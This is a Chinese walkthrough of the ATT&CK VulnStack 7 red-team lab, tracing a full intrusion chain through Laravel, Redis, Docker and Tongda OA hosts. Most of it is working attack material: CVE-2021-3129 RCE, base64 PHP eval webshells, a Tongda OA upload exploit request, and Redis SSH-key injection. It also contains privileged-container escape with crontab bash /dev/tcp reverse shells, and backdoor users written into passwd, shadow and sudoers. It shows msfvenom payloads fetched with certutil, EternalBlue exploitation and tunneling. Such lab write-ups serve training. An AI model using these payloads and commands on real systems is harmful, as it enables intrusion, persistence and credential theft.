ATT&CK(七)

image-20221005165557029

image-20221005182313530

image-20221005182414128

image-20221005182532349

image-20221005182537632

image-20221005182542793

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1: web:web2021
Ubuntu 2: ubuntu:ubuntu
通达OA账户: admin:admin657260

web1 使用 web:web2021 登录

sudo redis-server /etc/redis.conf

image-20221005183500185

sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F

image-20221005185444586

web2

sudo service docker start
sudo docker start 8e172820ac78

image-20221005185900470

win7 Administrator:Whoami2021

C:\MYOA\bin\AutoConfig.exe

image-20221005192703892

laravel

nmap 192.168.1.0/24

image-20221005193233623

81端口开放了laravel服务 这里也存在版本

image-20221005212320173

searchsploit laravel
searchsploit php/webapps/49424.py -m
cat /root/49424.py

image-20221005212549355

git clone https://github.com/zhzyker/CVE-2021-3129.git
cd CVE-2021-3129
python3 exp.py http://192.168.1.128:81/

这里可以看到有的脚本是没有执行成功的

image-20221006140459096

这里看到rce5是执行成功的 因此我们修改命令写入马 这里我选择分两次写入 一次性写入会导致字符损失 猜测是由于 $_POST作为了linux中的一个变量

image-20221006180203787

image-20221006180330870

image-20221006180346571

image-20221006180403266

image-20221006180439427

或者 base64编码一下

image-20221006180845055

echo PD9waHAgQGV2YWwoJF9QT1NUWyd6ZiddKTs/Pg==|base64 -d > zf.php

image-20221006180954349

image-20221006181014043

phpggc使用

git clone https://github.com/ambionics/phpggc.git
./phpggc -l

列出所有的链

image-20221006182331745

./phpggc  Laravel/RCE2 -i

其中包含了生成攻击payload 所需要的参数

image-20221006182526120

./phpggc  Laravel/RCE2 system id

image-20221006182614585

对于只能满足写文件需求的组件 需要知道文件的绝对路径,例如目标网站的绝对路径为 /var/www/html 需要写入shell.php

./phpggc Doctrine/FW1 -i 

image-20221006183815606

./phpggc /var/www/html/shell.php eval.php

image-20221006183912677

phpggc中的 -w参数还可以对序列化数据进行一个再次包装

在形成序列化数据之前调用其来更改序列化的对象,若存在以下漏洞点,接受参数为一个二维数组,那么我们需要对其中的message键对应的值进行反序列化

<?php
$data = unserialize($_GET['data']);
print $data['message'];

此时可以自己利用phpgcc 提供的 process_object($object),即data对应的值不是一个序列化的字符串,而data[‘message’]的值才应该是一个序列化后的字符串,这里只需要将要序列化的对象的值赋值给message,即可只用

<?php 
function process_object($object){
return array('message'=>$object);
}

这里将序列化的对象的值赋值给了message ,并返回为一个数组,然后在对数组进行serialize()函数处理,形成序列化后的数据

./phpggc -w array.php slim/rce1 system id

image-20221006185604591

尝试提权

尝试反弹shell但没有成功

image-20221009170350712

find / -perm -u=s -type f 2>/dev/null

image-20221009171929541

find / -user root -perm -4000 -print 2>/dev/null

image-20221009172346200

这里的demo.c应该是shell的源码

image-20221009172534710

这里的脚本执行了ps命令并且未使用绝对路径

那么尝试更改$PATH来执行恶意程序,从而获得目标主机的root权限shell

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
#将/tmp添加到环境变量中,并且先加载执行 /tmp里的程序
cd /home/jobs
./shell

不过这里在写 环境变量的时候出现了问题 至于这里的问题呢 我们可以在后面发现其实是 nginx 的反向代理 这里我们就先去看 redis

image-20221009224010402

redis 未授权

nmap 192.168.1.128  --top-ports 5000

image-20221009154528981

这里可以看到开放了 redis 服务

wget https://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cd src/
ll

下载redis 服务并编译

如果make出错 请更新 gcc版本

yum -y install centos-release-scl
yum -y install devtoolset-8-gcc devtoolset-8-gdb devtoolset-8-gcc-c++ devtoolset-8-binutils
scl enable devtoolset-8 bash
echo “source /opt/rh/devtoolset-8/enable” >>/etc/profile
./redis-cli -h 192.168.1.128 -p 6379 

image-20221009154936579

可以看到存在未授权访问

公钥登录

我们写公钥登录试试

ssh-keygen -t rsa

image-20221009155314776

config get dir
#检查当前保存路径
config get dbfilename
#检查保存文件名
config set dir /root/.ssh/
#设置保存路径
config set dbfilename authorized_keys
#设置数据库文件名
set wanan "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYLjlY2PVJ+OggsLfO4+kYbxJyj7zERoeTxoyLes/y0IXffteXEWKzfViHu+NhVhjULA5ttj0vDujnO3Nn/A0DzLY/m8uqZYhokVwQl3wpijOhkCvDNZZ5euuCSbrWLk/72pGvEJmS6y0kWR/l7JXQUAbdGfFXXV0smiGZfNM6ksJzvekUwHNuEHXK3uzlPKrcfNpGB6pg9c6m3z0mEKFPmXy9MHroxj9ivyQQfgG/tAuZjnXscVum0qgz4o+q5k7x4jgMK7jx7yQpEZES80rwL/Oi8r7iyiC5yjWh2ufeuosyCp7ybboDtVoMhsbS+h0gZNO3JI7BUEtwX/bvaLZ09RSPYwEsFMtW7IGdjos+WyohvhnAb5Q4xnSO3juNuqnbvnXSiEOYdjFX9b0iFqZ/tePSbvwDIhLDDOVkgKCyTAn5jmffc4aV2uCrzptsQmEHketc+xI2jGJYYvLG4JDfvqp10VS72dX1jcTVHhKapIZekn5xjPGspAFb90BRS7s= root@kali \n\n\n"
save

image-20221009155526425

ssh -i /root/.ssh/id_rsa root@192.168.1.128

image-20221009155811108

这里可以看到存在两张网卡 一张是 1.128 一张是 52.10

这里发现nginx服务

image-20221010210653377

这里找到nginx的配置文件发现没有有用的

image-20221010210622432

不过这里还包含了一个

image-20221010210726737

image-20221010210808310

这里可以发现是代理的 其中80端口代理的是 https://whoamianony.top/ 但是这里刚开始的时候访问80是不通的

这里改成我的博客试试

image-20221010212051145

image-20221010211920976

image-20221010212114827

这里也可以看到81端口代理的是 52.20 的 8000服务 也就是说这里我们之前反弹shell出现的问题其实是由于52.20 不出网

上线web1(52.10)

use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
run

image-20221009224848641

image-20221009224856104

我们这里反弹shell 给web1

image-20221010082808007

bash -c 'bash -i >& /dev/tcp/192.168.52.10/5555 0>&1'

image-20221009225326171

image-20221009225350525

这里的话反弹shell就没有问题了 推测可能是蚁剑的交互式shell的原因无法执行写入 环境变量

image-20221009225644718

提权web2(52.20)

环境变量提权

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/jobs
./shell

image-20221010083337272

docker 特权模式逃逸

特权模式在 0.6被引入docker ,允许容器内的root拥有外部物理机的root权限,而此前容器内的root用户仅拥有外部物理机的普通用户权限

使用特权模式启动容器,可以获取大量的设备文件访问权限,因为当管理员执行 docekr run –privileged 时,docekr 容器将被允许访问主机上的所有设备,并可执行mount命令进行挂载

当控制使用特权模式启动容器时,docker管理员可以通过mount命令将外部宿主机磁盘设备挂载进容器的内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机上执行命令

hostname
cat /proc/self/cgroup

image-20221010090651918

fdisk -l

image-20221010090722654

ls /dev

image-20221010090759555

cd /
mkdir wanan
mount /dev/sda1 /wanan
ls /wanan

image-20221010091325230

成功挂载

cd /wanan/home/ubuntu
ls
cat password

image-20221010092936397

密码登录

成功获得ubuntu的密码

我们尝试从 52.10 直接ssh登录

ssh ubuntu@192.168.52.20

image-20221010213151310

写公钥登录

另一种方式 我们写入公钥去ssh登录

52.10 生成

ssh-keygen -t rsa

image-20221010213013817

web1 开启http服务

python3 -m http.server

image-20221010213738208

curl -O http://192.168.52.10:8000/id_rsa.pub

image-20221010213756447

mv id_rsa.pub /wanan/home/ubuntu/.ssh/authorized_keys
cat /wanan/home/ubuntu/.ssh/authorized_keys

image-20221010213934773

image-20221010215049564

image-20221010215122014

添加新用户登录

useradd -s /bin/bash wanan
passwd wanan
tail /etc/passwd
tail /etc/shadow

image-20221010221029443

注意这里要用单引号

echo 'wanan:x:1002:1002::/home/wanan:/bin/bash' >> /wanan/etc/passwd
echo 'wanan:$6$rVZXR53W69hWAS1e$E/Zy2oFomIvpS0fjIOYcgmL63ZOhZ5TjGMnUe7BAmQF2qpde/R5tbzr1UUtgLIEZ5zLaTLKuizyVvs7PIQMNJ0:19275:0:99999:7:::' >> /wanan/etc/shadow

image-20221010221720734

image-20221010221739206

这个需要提权

写sudoers提权

ubuntu提权知识 ubuntu是用命令行执行命令.在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件 /etc/sudoers 处加入普通用户放行语句,才可以让普通用户在ssh的情况下进行提权

echo "wanan ALL=(ALL:ALL) ALL">>  /wanan/etc/sudoers

image-20221010222644153

image-20221010222704617

cve-2021-3493提权

image-20221010224039146

searchsploit ubuntu 4.4.0

image-20221010224221451

image-20221010224557299

git clone https://github.com/briskets/CVE-2021-3493.git

image-20221010224546631

定时任务

touch /wanan/tmp/test.sh
chmod +x /wanan/tmp/test.sh
ls -ll /wanan/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.52.10/6666 0>&1' >> /wanan/tmp/test.sh
cat /wanan/tmp/test.sh
sed -i '$a*/2 * * * * root bash /tmp/test.sh' /wanan/etc/crontab
cat /wanan/etc/crontab

image-20221010223717354

image-20221010223820581

df

image-20221010091954968

umount /wanan
移除挂载

image-20221010092325242

ssh流量转发(52.20)

1.128 转发 到 52.20的22端口的流量到kali的2222端口

新建一个用户

image-20221011131933236

ssh -N -f -L 2222:192.168.52.20:22 wanan@192.168.1.128
-N 建立静默连接
-f 将ssh传输转入后台执行,不占用当前shell
-L 转发本地的2222端口

image-20221011132050558

配置socks代理转发

ssh -CfNg -D 7000 wanan@192.168.1.128
-C 压缩传输
-d 将ssh传输转入后台执行,不占用当前的shell
-N 建立静默连接 建立的但是看不到具体会话
-D 动态转发 (socks代理)

image-20221011184517028

vim /etc/proxychains4.conf 

image-20221011184556492

image-20221011184743756

上线web2(52.20)

添加路由

route add 192.168.52.0 255.255.255.0 1
route print

image-20221015155927662

先设置监听

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 6666
run

image-20221011200506852

生成正向shell

msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf -o  20.elf

scp直接传马到 52.20

scp -P 2222  20.elf ubuntu@127.0.0.1:/tmp/20.elf

image-20221011201134715

image-20221015160528639

成功上线

image-20221011201252171

这里可以看到还有一个 (93.10)

image-20221011213842287

ew流量转发

run autoroute -s 192.168.52.0/24
run autoroute -p
git clone https://github.com/idlefire/ew.git

image-20221015164700912

1.129

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

image-20221015171055231

52.10

./ew_for_linux64 -s rssocks -d 192.168.1.129 -e 1234

image-20221015171234516

vim /etc/proxychains4.conf

image-20221015171341964

这里配置完成了 但是还是 ping 不通 52.30

但是这里还是ping 不通 其中主要原因是防火墙没有放开 但是这里按照作者的逻辑 不应该防护 52.20 到达 52.30的流量 至少是8080

因此我这里选择把公共网络防火墙给关闭

image-20221015182345967

重新测试成功访问到了

image-20221015182424428

这里接着探测一下52 段的存活主机

use auxiliary/scanner/netbios/nbname 
options
set rhosts 192.168.52.1-254
run

image-20221015183123163

上线pc1(52.30)

use auxiliary/scanner/portscan/tcp
options
set rhosts 192.168.52.30
set threads 20
run

image-20221015183548803

可以看到有一个8080 端口 这里我们先给burp 配置一下 192.168.1.129 1080 的上层代理

image-20221015184125562

image-20221015184711555

点击链接发现版本 为oa 11.10 版本

image-20221015184723038

根据文章获得shell

https://blog.csdn.net/szgyunyun/article/details/107104288

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--


image-20221015185017402

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 72
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2210/1637758065.jpg"}&cmd=whoami

image-20221015185119042

echo PD9waHAgQGV2YWwoJF9QT1NUWyd6ZiddKTs/Pg==|base64 -d > zf.php
cat zf.php
python3 -m http.server

image-20221016220742848

certutil -urlcache -split -f http://192.168.52.10:8000/zf.php

image-20221016220920203

image-20221016220910506

image-20221016221116768

生成一个正向shell

msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.52.30 lport=7777 -f exe -o 30.exe

scp到 52.10 上面去

scp 30.exe  wanan@192.168.1.128:/tmp

在 52.10上面启动一个 http服务

image-20221016142244654

下载下来

certutil -urlcache -split -f http://192.168.52.10:8000/30.exe

image-20221016223102914

image-20221016223115918

image-20221016224508444

设置监听

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
run

image-20221016224457833

这里可以看到还有一张 93.20 的网卡

image-20221017091430576

ew二级流量转发

image-20221017153443291

route add 192.168.93.0 255.255.255.0 3
route print

image-20221017093917339

1.129

./ew_for_linux64  -s lcx_listen -l 6666 -e 8888

image-20221015174715685

52.20

./ew_for_linux64  -s ssocksd -l 9999

image-20221015174701076

52.10

./ew_for_linux64   -s lcx_slave -d 192.168.1.129 -e 8888 -f 192.168.52.20 -g 9999

image-20221015174707789

vim /etc/proxychains4.conf

image-20221015175534995

proxychains ping 192.168.93.10   

image-20221017091931277

上线(93.40)

use auxiliary/scanner/netbios/nbname 
options
set rhosts 192.168.93.1-254
run

image-20221017092020033

use auxiliary/scanner/portscan/syn
options
set rhosts 192.168.93.40
set threads 20
run

image-20221017093028082

use exploit/windows/smb/ms17_010_eternalblue
options
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4455
run

image-20221017093406557

能不能行全靠运气

image-20221017175944304

上线(93.30)

这里在打域控的时候直接就蓝屏了

use exploit/windows/smb/ms17_010_eternalblue
options
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.30
set lport 4466
run

image-20221017181406345

换一个模块去执行命令试试

use admin/smb/ms17_010_command
options
set rhosts 192.168.93.30
run

image-20221017181554590

传马

msfvenom -p windows/meterpreter/bind_tcp lport=7788 -f exe -o 93.exe 

把马传到52.20上面去

image-20221017191630879

python3 -m http.server  8888

image-20221017182300065

use admin/smb/ms17_010_command
options
set command "certutil -urlcache -split -f http://192.168.93.10:8888/93.exe"
set rhosts 192.168.93.30
run

image-20221017182528715

image-20221017182608950

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set lport 7788
run -j -z
use admin/smb/ms17_010_command
options
set command C:\Windows\system32\93.exe
set rhosts 192.168.93.30
run

image-20221017183005048

没反应

https://www.cnblogs.com/byErichas/p/16617154.html

https://www.cnblogs.com/chen-w/archive/2022/04/26/16194101.html

https://bbs.zkaq.cn/t/5415.html

https://blog.csdn.net/trytowritecode/article/details/124097458

https://blog.csdn.net/weixin_44830645/article/details/124247090

https://article.itxueyuan.com/8KpOww

http://www.yongsheng.site/2021/08/09/ATT&CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%83%EF%BC%89/

https://blog.csdn.net/trytowritecode/article/details/124097458

https://www.163.com/dy/article/GSII62P60538S33I.html

https://www.cnblogs.com/wkzb/p/14877913.html

https://www.freebuf.com/articles/network/264560.html

https://xz.aliyun.com/t/9574